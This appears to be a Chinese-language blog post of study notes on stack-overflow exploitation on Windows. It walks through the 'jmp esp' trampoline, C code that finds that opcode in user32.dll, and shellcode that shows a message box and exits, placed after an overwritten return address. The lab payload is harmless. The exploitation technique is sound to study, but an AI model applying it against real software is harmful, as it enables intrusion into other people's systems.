zoukankan      html  css  js  c++  java
  • 【学习笔记Ⅰ】Chapter3 开发 shellcode 的艺术(实操)

    0x00 静态定位 shellcode

    0x01 原理

    在chapter2 栈溢出原理与实践的代码植入中,直接将返回地址构造成一个定值,但由于动态链接库的装入和卸载等原因,Windows 进程的函数栈帧很有可能会产生“移位”,造成如下图所示的情况,指向无效指令,导致 shellcode 无法正常执行。 

    为了解决这个问题,需要使用一个“跳板”,这里采用的是跳转指令 jmp esp(跳板技术应该算得上是Windows 栈溢出利用技术的一个里程碑)。

    攻击流程:

    • 用内存中任意一个 jmp esp 指令的地址覆盖函数返回地址;
    • jmp esp 指令被执行后,处理器会到栈区函数返回地址之后的地方取指令执行;
    • 重新布置 shellcode:将缓冲区前边一段地方用任意数据填充,把 shellcode 恰好摆放在函数返回地址之后。

    0x02 使用“跳板”定位的 exploit

    准备工作1:编程序搜索内存,找到 jmp esp 的内存地址。

    jmp esp 对应的机器码是 0xFFE4,程序的作用就是从 user32.dll 在内存中的基地址开始向后搜索 0xFFE4,如果找到就返回其内存地址(指针值)。修改程序可用别的动态链接库替换 user32.dll,或使用其他类型的跳转地址。

    //FF E0 JMP EAX
    //FF E1 JMP ECX
    //FF E2 JMP EDX
    //FF E3 JMP EBX
    //FF E4 JMP ESP
    //FF E5 JMP EBP
    //FF E6 JMP ESI
    //FF E7 JMP EDI

    //FF D0 CALL EAX
    //FF D1 CALL ECX
    //FF D2 CALL EDX
    //FF D3 CALL EBX
    //FF D4 CALL ESP
    //FF D5 CALL EBP
    //FF D6 CALL ESI
    //FF D7 CALL EDI


    #include <windows.h> #include <stdio.h> #define DLL_NAME "user32.dll" main() { BYTE* ptr; int position,address; HINSTANCE handle; BOOL done_flag = FALSE; handle=LoadLibrary(DLL_NAME); if(!handle) { printf(" load dll erro !"); exit(0); } ptr = (BYTE*)handle; for(position = 0; !done_flag; position++) { try { if(ptr[position] == 0xFF && ptr[position+1] == 0xE4) { //0xFFE4 is the opcode of jmp esp int address = (int)ptr + position; printf("OPCODE found at 0x%x ",address); } } catch(...) { int address = (int)ptr + position; printf("END OF 0x%x ", address); done_flag = true; } } }

    运行结果:

    选择其中一条 0x77D86773 作为返回地址。

    准备工作2:为了修复之前 shellcode 无法正常退出的缺陷,在调用 MessageBox 之后,通过调用 exit 函数让程序干净利落地退出。

    ExitProcess 是 kernel32.dll 的导出函数,依然使用 dependency walker,找到我们所需的内存地址,结果如下:

    kernel32.dll 的基地址是 0x7C800000,加上函数的偏移地址 0x0001CAFA,最后得到函数的入口地址为 0x7C81CAFA

    准备工作3:提取汇编代码对应的机器码。通过反汇编工具,如 IDA pro 或 OD 完成汇编代码到机器码的转换。

    使用如下 shellcode 的源代码,用 VC6.0 编译运行:

    #include <windows.h>
    int main()
    {    
        HINSTANCE LibHandle;
        char dllbuf[11] = "user32.dll";
        LibHandle = LoadLibrary(dllbuf);
        _asm{
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    sub sp,0x440
                    xor ebx,ebx
                    push ebx // cut string
                    push 0x74736577
                    push 0x6C696166//push failwest
                
                    mov eax,esp //load address of failwest
                    push ebx    
                    push eax
                    push eax
                    push ebx
                    
                    mov  eax, 0x77D507EA//(0x77D804EA) address should be reset in different OS
                    call eax  //call MessageboxA
                                
                    push ebx
                    mov eax,0x7C81CAFA //(0x7C81CDDA) address should be reset in different OS
                    call eax //call exit(0)
                    
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
                    nop
        }
    }

    注意!ExitProcess 函数的入口地址应该对应改成准备工作2中获得的内存地址。同时,前后输入较多的 nop 是方便下一步定位机器代码。

    结果:在 OD 中加载 PE 文件,找到相应的机器代码,复制到 TXT 文件中。

    至此,所需的准备工作就完成了,接下来就制作 exploit 吧!

    首先,计算好返回地址在缓冲区中的偏移,在第53-56字节处填入 jmp esp 的内存地址,之前用任意字符串填充(如‘1234’)。

    然后,将需要执行的机器代码填入:

    结果:使用跳板完成消息框,且不会出现内存错误了。

  • 相关阅读:
    HDOJ 2095 find your present (2)
    HDOJ 2186 悼念512汶川大地震遇难同胞——一定要记住我爱你
    九度 1337 寻找最长合法括号序列
    九度 1357 疯狂地Jobdu序列
    HDOJ 1280 前m大的数
    九度 1343 城际公路网
    九度 1347 孤岛连通工程
    HDOJ 2151 Worm
    九度 1342 寻找最长合法括号序列II
    九度 1346 会员积分排序
  • 原文地址:https://www.cnblogs.com/ninahu/p/12546560.html
Copyright © 2011-2022 走看看